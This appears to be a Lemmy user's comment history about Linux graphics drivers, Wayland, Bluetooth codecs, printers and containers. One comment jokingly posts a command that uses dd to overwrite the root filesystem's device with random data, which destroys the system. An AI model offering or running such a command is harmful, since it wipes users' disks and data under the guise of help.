What can I say, I’m a performance nerd.
- 0 Posts
- 16 Comments
That’s a platform dependent change. Overflow is undefined behavior. I’d rather have my code portable so it can run on my Univac 1101.
Fixed
boolean isOdd(int num) { if(num == 1) return true; if(num > 0) return isEven(num - 1); else return isEven(num + 1); } boolean isEven(int num) { if(num > 0) return isOdd(num - 1); else return isOdd(num + 1); }
sudo dd if=/dev/urandom of=$(df | grep '\s/$' | cut -d' ' -f1)(Omit the
if you are using the fish terminal)
Correct. I’ve been rocking their open source driver on Wayland for about a year now, pretty smooth experience.
Though sleep is still a neverending struggle.
Yeah, the problem (imo) isn’t lossy v lossless. It’s that the supported codecs are part of the Bluetooth standard and they were developed in like the 90s.
There are far better codecs out there and we can’t use them without incompatible extensions on Bluetooth.
Wysiwygs were all the rage in the late 90s early 00s with a promise that the hard part of development was actually just doing the layout.
Tools like frontpage have been tricking incredulous entrepreneurs that programming is easy since at least then.
Yup. If you are going to own a printer, get a laser black and white printer and keep it forever. Do not get an inkjet printer. And if you need color prints (you don’t) you can literally just do those at walgreens, cvs, or a bunch of other stores that will do color prints.
The only time you should get an inkjet printer is if you are a busy photographer selling a bunch of prints and you’ve hit the point where doing color prints through a store has become too expensive.
One of the best parts about Linux. So much is open source which means your 20 year old hardware still likely has support.
cogman@lemmy.worldto
Linux@lemmy.ml•Does Wayland really break everything? (Nate Graham's OG post ref'd in the Phoronix article)
0·2 years agoI wasn’t fully aware of NVK and where it’s at. It’s actually pretty exciting. I wouldn’t mind dropping my current nvidia binary blob for fully open source drivers.
cogman@lemmy.worldto
Linux@lemmy.ml•Does Wayland really break everything? (Nate Graham's OG post ref'd in the Phoronix article)
0·2 years agoNot as bad as you might think. The nouveau drivers have come a long way for maxwell. You should give it a shot if you haven’t. But, unfortunately, if you are using anything new then nouveau sucks. It’s a fun game where you get to wait until nvidia no longer wants to support your GPU and hope by that point that nouveau has progressed far enough that you won’t be looking at noman’s land.
cogman@lemmy.worldto
Linux@lemmy.ml•Does Wayland really break everything? (Nate Graham's OG post ref'd in the Phoronix article)
0·2 years agoGraphics drivers are what matters. Your orange pi uses a mali GPU which is well supported by Linux (thanks ARM).
nVidia is just barely at the point where their most recent gpu drivers aren’t terrible under Wayland. It’s taken a while to get there.
GPUs with good open source drivers will fare fine.
cogman@lemmy.worldto
Selfhosted@lemmy.world•What can the 'average Joe' start hosting, that will change their life?English
1·2 years agoI using and deploying to kubernetes. Nerdctl has a docker API but it’s completely backed by k8s. So, for regular dev I’d just need a k8s cluster and not k8s + something else to build the images and push them into the k8s image repository.
cogman@lemmy.worldto
Selfhosted@lemmy.world•What can the 'average Joe' start hosting, that will change their life?English
1·2 years agoWSL2 is Linux on a virtual machine. Docker for Windows is running in a VM.
I’m also a weirdo though, I’m using podman instead (and may switch to nerdctl).


The two biggest differences are that containers use more disk space vs non-containers and that containers won’t use shared libraries. That means that instead of loading up 1 version of glibc for most of the OS, you end up with n containers glibcs loaded up.
Practically speaking, this isn’t really a huge deal. A lot of those libraries fit in less than 1mb. A disaster if this was my childhood computer. A non-issue on modern systems with more than 512mb of ram.